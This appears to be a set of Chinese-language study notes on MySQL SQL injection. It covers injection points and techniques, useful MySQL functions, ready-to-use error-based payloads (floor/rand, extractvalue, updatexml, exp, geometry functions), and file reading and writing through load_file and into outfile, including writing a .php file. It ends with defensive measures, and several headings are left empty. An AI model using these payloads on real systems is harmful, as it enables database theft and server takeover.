文章目录
概念:web应用程序对用户输入数据的合法性没有进行判断或过滤不严,导致攻击者可以插入sql语句并在数据库执行操作。
本质:sql语句的拼接。
分类:
注入点:GET注入、POST注入、cookie注入、HTTP请求头部(UA,referer)
注入手法:联合查询、报错注入、布尔盲注、延时注入、堆叠查询、mof|udf提取
注释
#
–+
/* … */
/*! … */ 内联查询
元数据库
information_schema
MySQL常用函数与参数
=|>|<|>=|<=|<>(!=) 比较运算符
and|or 逻辑运算符,and优先级高于or
version() mysql数据库版本
database() 当前数据库
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
load_file() 读取文件,并返回文件内容作为一个字符串
into outfile 写入文件到指定位置
if(if,t,f) 真返回t,假返回f
sleep(x) 睡眠x秒
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为结果
substring('ab',1,1) str:截取字符串 //a
substr('ab',1,1) 1:开始位置 //a
mid('ab',1,1) 1:长度 //a
left('abc',2) 从左侧开始取指定个数的字符串 //ab
concat('a','b') 没有分隔符的连接字符串 //ab
concat_ws(';','a','b') 含有分隔符的连接字符串 //a;b
group_concat(id) 连接成一个组的字符串(单行) //1,2,3,4
lengh() 返回字符串长度
ord('a') 返回ASCII码 //97
ascii('a') 返回ASCII码 //97
hex() 返回16进制
unhex() 返回16进制转10进制对应的ASCII值
md5() 返回md5值
floor(x) 返回不大于x的整数
rand() 返回0-1之间的随机浮点数
exp(x) 返回e的x次幂
注入工具:sqlmap、pangolin、havij等
联合注入
报错注入
- group by重复键冲突(不限制版本,mysql bug #8652)
?id=1 and (select 1 from (select count(*) ,concat((select bersion() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=1 and extractvalue(1,concat('^',(select version()),'^') --+
?id=1 and updatexml(1,concat('^',(select database()),'^'),1) --+
- exp()
id =1 and EXP(~(SELECT * from(select user())a))
- GeometryCollection():
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) - polygon():
id =1 AND polygon((select * from(select * from(select user())a)b)) - multipoint():
id = 1 AND multipoint((select * from(select * from(select user())a)b)) - multilinestring():
id = 1 AND multilinestring((select * from(select * from(select user())a)b)) - linestring():
id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) - multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
布尔盲注
延时注入
读写文件
前提条件:
- secure-file-priv=‘c:/a/’ 限制mysqld的导入导出操作发生在c:/a/下(子目录有效)
secure-file-priv= 不对mysqld的导入导出操作做限制
secure-file-priv=null 限制mysqld 不允许导入导出操作 - 当前用户具有文件权限
select File_priv from mysql.user where user=“root” and host=“localhost”; - 知道文件绝对路径
读取文件:
select load_file(“C:/Windows/System32/drivers/etc/hosts”);
select load_file(“C:\\Windows\\System32\\drivers\\etc\\hosts”);
写入文件:
select 1,2,3,4,5 into outfile “D:/desktop/xxx.php” 把1,2,3,4,5写入D:/desktop/xxx.php
Bypass
提权:
防止sql注入:
严格的数据类型
特殊字符转义
使用预编译语言
框架技术
存储过程
在服务器端要对所有的输入数据验证有效性
在处理输入之前,验证所有客户端提供的数据,包括所有的参数,URL和HTTP头的内容
验证输入数据的类型、长度和合法的取值范围
使用白名单验证允许的输入字符而不是黑名单
在危险字符输入后进行转义或编码
不使用动态拼接的SQL语句,如果使用对特殊字符进行转义